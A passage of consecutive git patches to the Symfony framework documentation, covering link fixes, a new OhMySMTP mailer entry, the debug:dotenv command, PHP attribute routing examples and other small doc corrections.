-* :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
-  normalize PHP object using an object that implements
-  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
-  normalize PHP object using the getter and setter methods of the object;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
-  normalize PHP object using `PHP reflection`_.
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-  to deal with objects implementing the :phpclass:`JsonSerializable` interface
-
-.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
-.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+Symfony includes several types of :ref:`built-in normalizers <component-serializer-normalizers>`
+but you can also :doc:`create your own normalizer </serializer/custom_normalizer>`.

From 77d5506fcaa82316c8f8ff884d1e8a850e339bb6 Mon Sep 17 00:00:00 2001
From: Christopher Hertel <mail@christopher-hertel.de>
Date: Fri, 20 Aug 2021 15:54:07 +0200
Subject: [PATCH 2448/7107] extending env var list with debug:dotenv command

---
 configuration.rst | 33 +++++++++++++++++++++++++++++++--
 1 file changed, 31 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index e579b839474..f2270253937 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -718,8 +718,37 @@ you can encrypt the value using the :doc:`secrets management system </configurat
 Listing Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Regardless of how you set environment variables, you can see a full list with
-their values by running:
+To understand how environment variables are set by the Dotenv component parsing various
+files, you can run the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:dotenv
+
+    Dotenv Variables & Files
+    ========================
+
+    Scanned Files (in descending priority)
+    --------------------------------------
+
+    * ⨯ .env.local.php
+    * ⨯ .env.dev.local
+    * ✓ .env.dev
+    * ⨯ .env.local
+    * ✓ .env
+
+    Variables
+    ---------
+
+    ---------- ------- ---------- ------
+     Variable   Value   .env.dev   .env
+    ---------- ------- ---------- ------
+     FOO        BAR     n/a        BAR
+     ALICE      BOB     BOB        bob
+    ---------- ------- ---------- ------
+
+Additionally, and regardless of how you set environment variables, you can see all
+environment variables, with their values, referenced in Symfony's container configuration:
 
 .. code-block:: terminal
 

From eeab284e40bfb429ab8cf85df3a374b25ff9e3a0 Mon Sep 17 00:00:00 2001
From: Mathieu Ducrot <mathieu.ducrot@smartbooster.io>
Date: Sat, 21 Aug 2021 18:05:59 +0200
Subject: [PATCH 2449/7107] Fix link reference in Upgrading to Symfony Flex

## Changelog

Update the link url for "default services.yaml", "copying Symfony's index.php source" and "copying Symfony's bin/console source" files to point to 4.4 since this is the targetted version.

\+ the previous link for the bin/console was actually a dead link 404
---
 setup/flex.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index 7d66cd1e37b..899bb6d3de5 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -189,9 +189,9 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
-.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/config/services.yaml
+.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.4/config/services.yaml
 .. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
 .. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
-.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.4/public/index.php
-.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/3.4/bin/console
+.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.4/public/index.php
+.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/4.4/bin/console
 .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker

From d3377207920d3618c9064c0375499166a52a5470 Mon Sep 17 00:00:00 2001
From: Mathieu Ducrot <mathieu.ducrot@smartbooster.io>
Date: Sat, 21 Aug 2021 18:12:47 +0200
Subject: [PATCH 2450/7107] Fix method link to isCsrfTokenValid

## Changelog

Fix the method link from AbstractController.php to ControllerTrait.php because the method comes from the Trait.
---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index d79bb25e7fb..b68a4d84c39 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -150,7 +150,7 @@ generate a CSRF token in the template and store it as a hidden form field:
     </form>
 
 Then, get the value of the CSRF token in the controller action and use the
-:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid`
+:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerTrait::isCsrfTokenValid`
 to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;

From 3a1f383f77bbad0865b189b0f2d1692bd5a7dd85 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sun, 22 Aug 2021 10:22:20 +0100
Subject: [PATCH 2451/7107] Update license.rst

---
 contributing/code/license.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/license.rst b/contributing/code/license.rst
index 8c7c2fd19db..8f0ff3f6501 100644
--- a/contributing/code/license.rst
+++ b/contributing/code/license.rst
@@ -5,7 +5,7 @@ Symfony Code License
 
 Symfony code is released under `the MIT license`_:
 
-Copyright (c) 2004-2020 Fabien Potencier
+Copyright (c) 2004-2021 Fabien Potencier
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

From a79e6928bc5879abd9910435a3991b9703419ee8 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Mon, 23 Aug 2021 15:48:13 +0100
Subject: [PATCH 2452/7107] [Console] Document lazy command via description

---
 console.rst | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 72e7ea30e0b..403d3197a2f 100644
--- a/console.rst
+++ b/console.rst
@@ -79,12 +79,15 @@ Configuring the Command
 You can optionally define a description, help message and the
 :doc:`input options and arguments </console/input>`::
 
+    // ...
+    // the short description shown while running "php bin/console list"
+    protected static $defaultDescription = 'Creates a new user.';
+
     // ...
     protected function configure(): void
     {
         $this
-            // the short description shown while running "php bin/console list"
-            ->setDescription('Creates a new user.')
+            ->setDescription(self::$defaultDescription)
 
             // the full command description shown when running the command with
             // the "--help" option
@@ -92,6 +95,12 @@ You can optionally define a description, help message and the
         ;
     }
 
+.. versionadded:: 5.3
+
+    The ``$defaultDescription`` static property was introduced in Symfony 5.3.
+    It allows to make the ``php bin/console list`` lazy.
+    You can as well use ``php bin/console list --short`` option to have the output faster.
+
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties

From e1c8dd2483bf64b4d0dd3e2617f5b701ea19cd24 Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Mon, 23 Aug 2021 21:22:15 +0200
Subject: [PATCH 2453/7107] [Twig] Add PHP Attributes to routing configuration
 example

---
 templates.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/templates.rst b/templates.rst
index 9f1f5233b34..feae769ba69 100644
--- a/templates.rst
+++ b/templates.rst
@@ -216,6 +216,30 @@ Consider the following routing configuration:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        // ...
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/', name: 'blog_index')]
+            public function index(): Response
+            {
+                // ...
+            }
+
+            #[Route('/article/{slug}', name: 'blog_post')]
+            public function show(string $slug): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml

From 3a1d28da548dd40af88942c50cce22fccb7da7a3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vasilij=20Du=C5=A1ko?= <vasilij@prado.lt>
Date: Sun, 29 Aug 2021 13:54:35 +0300
Subject: [PATCH 2454/7107] * unstable_versions.rst - upgrade

---
 setup/unstable_versions.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 5e6e138ff8d..6b30a0f785b 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -8,7 +8,7 @@ Creating a New Project Based on an Unstable Symfony Version
 -----------------------------------------------------------
 
 
-Suppose that the Symfony 4.0 version hasn't been released yet and you want to create
+Suppose that the Symfony 5.4 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
 run the following command:
@@ -24,7 +24,7 @@ in the ``my_project/`` directory.
 Upgrading your Project to an Unstable Symfony Version
 -----------------------------------------------------
 
-Suppose again that Symfony 4.0 hasn't been released yet and you want to upgrade
+Suppose again that Symfony 5.4 hasn't been released yet and you want to upgrade
 an existing application to test that your project works with it.
 
 First, open the ``composer.json`` file located in the root directory of your
@@ -35,8 +35,8 @@ new version and change your ``minimum-stability`` to ``beta``:
 
       {
           "require": {
-    +         "symfony/framework-bundle": "^4.0",
-    +         "symfony/finder": "^4.0",
+    +         "symfony/framework-bundle": "^5.4",
+    +         "symfony/finder": "^5.4",
               "...": "..."
           },
     +     "minimum-stability": "beta"
@@ -44,7 +44,7 @@ new version and change your ``minimum-stability`` to ``beta``:
 
 You can also use set ``minimum-stability`` to ``dev``, or omit this line
 entirely, and opt into your stability on each package by using constraints
-like ``4.0.*@beta``.
+like ``5.4.*@beta``.
 
 Finally, from a terminal, update your project's dependencies:
 

From b3dc6a8c0e68ed884e2c780912d9284c9d3a76e3 Mon Sep 17 00:00:00 2001
From: Paul Oms <support@ohmysmtp.com>
Date: Tue, 24 Aug 2021 16:52:00 +0100
Subject: [PATCH 2455/7107] [Mailer] Added OhMySMTP mailer details

---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index bad5231c7f8..f7fa2736a19 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,12 +112,17 @@ Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
+OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 ==================  ==============================================
 
 .. versionadded:: 5.2
 
     The Sendinblue integration was introduced in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The OhMySMTP integration was introduced in Symfony 5.4.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
@@ -166,6 +171,8 @@ party provider:
  Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
  Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
  Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
+ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
+
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::
@@ -1326,6 +1333,10 @@ The following transports currently support tags and metadata:
 * Postmark
 * Sendinblue
 
+The following transports only support tags:
+
+* OhMySMTP
+
 Development & Debugging
 -----------------------
 

From 6df62e7925874adfa2746d0ddbc3bf99bd2a8229 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Aug 2021 16:34:57 +0200
Subject: [PATCH 2456/7107] Minor tweak

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index b68a4d84c39..dee85a09e0d 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -151,7 +151,7 @@ generate a CSRF token in the template and store it as a hidden form field:
 
 Then, get the value of the CSRF token in the controller action and use the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerTrait::isCsrfTokenValid`
-to check its validity::
+method to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;

From 918986367e437da4e1bdaa6e9fe1154c376174a5 Mon Sep 17 00:00:00 2001
From: Rafael Gil <rafaelgil83@gmail.com>
Date: Sat, 14 Aug 2021 21:18:00 -0400
Subject: [PATCH 2457/7107] Update mercure.rst Symfony Local Web Server url

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index e5ff26e147a..32ed464ae3d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -66,7 +66,7 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-If you use the `Symfony Local Web Server </setup/symfony_server>`_ or `Symfony Docker`_,
+If you use the `Symfony Local Web Server </doc/current/setup/symfony_server>`_ or `Symfony Docker`_,
 a Mercure Hub is automatically available.
 
 For production usage, an official and open source (AGPL) Hub based on the Caddy web server

From 908f3d5e38989bc0e904c2bd2813f88ac43ede4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Aug 2021 17:30:57 +0200
Subject: [PATCH 2458/7107] Fix link syntax

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 32ed464ae3d..00c46199d48 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -66,7 +66,7 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-If you use the `Symfony Local Web Server </doc/current/setup/symfony_server>`_ or `Symfony Docker`_,
+If you use the :doc:`Symfony Local Web Server </setup/symfony_server>` or `Symfony Docker`_,
 a Mercure Hub is automatically available.
 
 For production usage, an official and open source (AGPL) Hub based on the Caddy web server

From da9d99e8023b1da953719e91529c121e61e0b02c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vasilij=20Du=C5=A1ko?= <vasilij@prado.lt>
Date: Sun, 29 Aug 2021 13:58:19 +0300
Subject: [PATCH 2459/7107] * unstable_versions.rst - upgrade

---
 setup/unstable_versions.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 6b30a0f785b..8fabced2de6 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -7,8 +7,7 @@ they are released as stable versions.
 Creating a New Project Based on an Unstable Symfony Version
 -----------------------------------------------------------
 
-
-Suppose that the Symfony 5.4 version hasn't been released yet and you want to create
+Suppose that the Symfony 6.0 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
 run the following command:
@@ -24,7 +23,7 @@ in the ``my_project/`` directory.
 Upgrading your Project to an Unstable Symfony Version
 -----------------------------------------------------
 
-Suppose again that Symfony 5.4 hasn't been released yet and you want to upgrade
+Suppose again that Symfony 6.0 hasn't been released yet and you want to upgrade
 an existing application to test that your project works with it.
 
 First, open the ``composer.json`` file located in the root directory of your
@@ -35,8 +34,8 @@ new version and change your ``minimum-stability`` to ``beta``:
 
       {
           "require": {
-    +         "symfony/framework-bundle": "^5.4",
-    +         "symfony/finder": "^5.4",
+    +         "symfony/framework-bundle": "^6.0",
+    +         "symfony/finder": "^6.0",
               "...": "..."
           },
     +     "minimum-stability": "beta"
@@ -44,7 +43,7 @@ new version and change your ``minimum-stability`` to ``beta``:
 
 You can also use set ``minimum-stability`` to ``dev``, or omit this line
 entirely, and opt into your stability on each package by using constraints
-like ``5.4.*@beta``.
+like ``6.0.*@beta``.
 
 Finally, from a terminal, update your project's dependencies:
 

From f6955aadfbf3926e0fb3451f5cfc231747c4cfec Mon Sep 17 00:00:00 2001
From: "Arndt H. Ziegler" <60158770+ArndtZiegler@users.noreply.github.com>
Date: Mon, 30 Aug 2021 22:17:08 +0200
Subject: [PATCH 2460/7107] Fix confusion of HttpKernel and Kernel

The mentioned debug setting is part of the (abstract) class Kernel, i.e. "the" kernel, not the class HttpKernel
---
 components/dependency_injection/workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst
index 750420f4d47..7ea3c1ea28e 100644
--- a/components/dependency_injection/workflow.rst
+++ b/components/dependency_injection/workflow.rst
@@ -21,7 +21,7 @@ Working with a Cached Container
 -------------------------------
 
 Before building it, the kernel checks to see if a cached version of the
-container exists. The HttpKernel has a debug setting and if this is false,
+container exists. The kernel has a debug setting and if this is false,
 the cached version is used if it exists. If debug is true then the kernel
 :doc:`checks to see if configuration is fresh </components/config/caching>`
 and if it is, the cached version of the container is used. If not then the

From dccdc1699c1dd50c685e7ef153744540a9bb53e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 31 Aug 2021 12:19:15 +0200
Subject: [PATCH 2461/7107] Fix a minor RST syntax issue

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index 90d16688ad9..081111dc78b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2369,6 +2369,7 @@ session shouldn't be used when matching a request:
 
 Now, if the session is used, the application will report it based on your
 ``kernel.debug`` parameter:
+
 * ``enabled``: will throw an :class:`Symfony\\Component\\HttpKernel\\Exception\\UnexpectedSessionUsageException` exception
 * ``disabled``: will log a warning
 

From c38130765a2eb4cf6f6b95527f6e61e1fec8e089 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Tue, 31 Aug 2021 16:58:36 +0200
Subject: [PATCH 2462/7107] [DependencyInjection] add missing use statements

---
 service_container.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 5aa5573c1b5..eda0dc85ffc 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -33,6 +33,7 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController
     {
@@ -122,6 +123,7 @@ inside your controller::
     // src/Controller/ProductController.php
     use App\Service\MessageGenerator;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     /**
      * @Route("/products/new")

From ac8eb7dd4862cf0ca128cd777e10912d4a7161e5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 31 Aug 2021 12:43:25 +0200
Subject: [PATCH 2463/7107] [Routing] Readd the explanation of
 trailing_slash_on_root option

---
 routing.rst | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/routing.rst b/routing.rst
index 90d16688ad9..2e111053167 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1612,6 +1612,59 @@ and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will
 will also validate that the ``_locale`` parameter matches the regular expression
 defined in the class annotation.
 
+.. note::
+
+    If any of the prefixed routes defines an empty path, Symfony adds a trailing
+    slash to it. In the previous example, an empty path prefixed with ``/blog``
+    will result in the ``/blog/`` URL. If you want to avoid this behavior, set
+    the ``trailing_slash_on_root`` option to ``false`` (this option is not
+    available when using PHP attributes or annotations):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/routes/annotations.yaml
+            controllers:
+                resource: '../../src/Controller/'
+                type:     annotation
+                prefix:   '/blog'
+                trailing_slash_on_root: false
+                # ...
+
+        .. code-block:: xml
+
+            <!-- config/routes/annotations.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <routes xmlns="http://symfony.com/schema/routing"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/routing
+                    https://symfony.com/schema/routing/routing-1.0.xsd">
+
+                <import resource="../../src/Controller/"
+                    type="annotation"
+                    prefix="/blog"
+                    name-prefix="blog_"
+                    trailing-slash-on-root="false"
+                    exclude="../../src/Controller/{DebugEmailController}.php">
+                    <!-- ... -->
+                </import>
+            </routes>
+
+        .. code-block:: php
+
+            // config/routes/annotations.php
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+            return function (RoutingConfigurator $routes) {
+                $routes->import('../../src/Controller/', 'annotation')
+                    // the second argument is the $trailingSlashOnRoot option
+                    ->prefix('/blog', false)
+
+                    // ...
+                ;
+            };
+
 .. seealso::
 
     Symfony can :doc:`import routes from different sources </routing/custom_route_loader>`

From 0463e580cc0eec75d87cc842686d7699c6629387 Mon Sep 17 00:00:00 2001
From: Michael Babker <michael.babker@gmail.com>
Date: Wed, 1 Sep 2021 09:47:13 -0500
Subject: [PATCH 2464/7107] Note that parameter names for Attribute
 constructors are covered

---
 contributing/code/bc.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 371c1a35b95..2142f25460a 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -448,8 +448,8 @@ Turn static into non static                         No
 
 .. [9] Allowed for the ``void`` return type.
 
-.. [10] Parameter names are not part of the compatibility promise. Using
-        PHP 8's named arguments feature might break your code when upgrading to
-        newer Symfony versions.
+.. [10] Parameter names are only covered by the compatibility promise for
+        constructors of Attribute classes. Using PHP 8's named arguments
+        feature might break your code when upgrading to newer Symfony versions.
 
 .. _`Semantic Versioning`: https://semver.org/

From 24a7c37d52bcfb04af038563c7ab94047f5afee2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Sep 2021 11:00:50 +0200
Subject: [PATCH 2465/7107] Minor tweak

---
 contributing/code/bc.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 2142f25460a..65e7b1d3181 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -449,7 +449,7 @@ Turn static into non static                         No
 .. [9] Allowed for the ``void`` return type.
 
 .. [10] Parameter names are only covered by the compatibility promise for
-        constructors of Attribute classes. Using PHP 8's named arguments
-        feature might break your code when upgrading to newer Symfony versions.
+        constructors of Attribute classes. Using PHP named arguments might
+        break your code when upgrading to newer Symfony versions.
 
 .. _`Semantic Versioning`: https://semver.org/

From 88c25e1658fabe734e3fff2f8f5830678a5c7177 Mon Sep 17 00:00:00 2001
From: Faizan Akram Dar <hello@faizanakram.me>
Date: Tue, 31 Aug 2021 15:17:57 +0530
Subject: [PATCH 2466/7107] Adds proper escaping for php service config format

php configs need `\\\\`, `\\` are not enough.

`"service('App\\Mailer')"` compiles into `AppMailer` ,  `"service('App\\\\Mailer')"` compiles correctly into `App\Mailer`
---
 service_container/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 9ba64eee074..0fb5081e15d 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -67,7 +67,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
             $services->set(MailerConfiguration::class);
 
             $services->set(Mailer::class)
-                ->args([expr("service('App\\Mail\\MailerConfiguration').getMailerMethod()")]);
+                ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
 To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.

From 209e939b275f059c864145b85e7d78c2d284d5d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Sep 2021 11:03:32 +0200
Subject: [PATCH 2467/7107] Added a comment to the code

---
 service_container/expression_language.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 0fb5081e15d..972d7286c88 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -67,6 +67,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
             $services->set(MailerConfiguration::class);
 
             $services->set(Mailer::class)
+                // because of the escaping applied by PHP, you must add 4 backslashes for each original backslash
                 ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 

From 85bbbed3415fc909fc65780b3d106e770046fe07 Mon Sep 17 00:00:00 2001
From: chapterjason <chapterjason@users.noreply.github.com>
Date: Fri, 3 Sep 2021 11:24:22 +0200
Subject: [PATCH 2468/7107] docs: Fix form collection example

---
 form/form_collections.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 3355bc72065..e35e1d8be67 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -243,7 +243,7 @@ the following ``data-prototype`` attribute to the existing ``<ul>`` in your temp
 
 .. code-block:: html+twig
 
-    <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
+    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
 
 Now add a button just next to the ``<ul>`` to dynamically add a new tag:
 
@@ -255,7 +255,7 @@ On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags" data-index="0" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
 .. seealso::
 
@@ -537,7 +537,7 @@ First, add a "delete this tag" link to each tag form:
     })
 
     // ... the rest of the block from above
-    
+
     function addFormToCollection() {
         // ...
 
@@ -553,7 +553,7 @@ The ``addTagFormDeleteLink()`` function will look something like this:
         const removeFormButton = document.createElement('button')
         removeFormButton.classList
         removeFormButton.innerText = 'Delete this tag'
-        
+
         tagFormLi.append(removeFormButton);
 
         removeFormButton.addEventListener('click', (e) => {

From 02ed37c06d0d9719bb2e6973be8894ffc3df9747 Mon Sep 17 00:00:00 2001
From: Eric Krona <eric@krona.tm>
Date: Sun, 5 Sep 2021 22:23:02 +0200
Subject: [PATCH 2469/7107] Update profiler.rst

the getKernel() method is available in $event rather than $this.
Perhaps a full event subscriber class could be included to make it more complete?
---
 profiler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 1bc2c1a0eb5..f7468c67d0b 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -195,7 +195,7 @@ event::
 
     public function onKernelResponse(ResponseEvent $event)
     {
-        if (!$this->getKernel()->isDebug()) {
+        if (!$event->getKernel()->isDebug()) {
             return;
         }
 

From 2c27cebbf1733587f56ce0973ba5963e54f50b63 Mon Sep 17 00:00:00 2001
From: SirRFI <32642697+SirRFI@users.noreply.github.com>
Date: Fri, 28 May 2021 21:00:08 +0200
Subject: [PATCH 2470/7107] [HttpClient] More on testing, how to test request,
 example

---
 http_client.rst | 138 ++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 134 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 2a87a8ac7f3..e42a9f89cf2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1387,12 +1387,27 @@ This allows using them where native PHP streams are needed::
     // later on if you need to, you can access the response from the stream
     $response = stream_get_meta_data($streamResource)['wrapper_data']->getResponse();
 
-Testing HTTP Clients and Responses
-----------------------------------
+Testing
+-------
 
 This component includes the ``MockHttpClient`` and ``MockResponse`` classes to
-use them in tests that need an HTTP client which doesn't make actual HTTP
-requests.
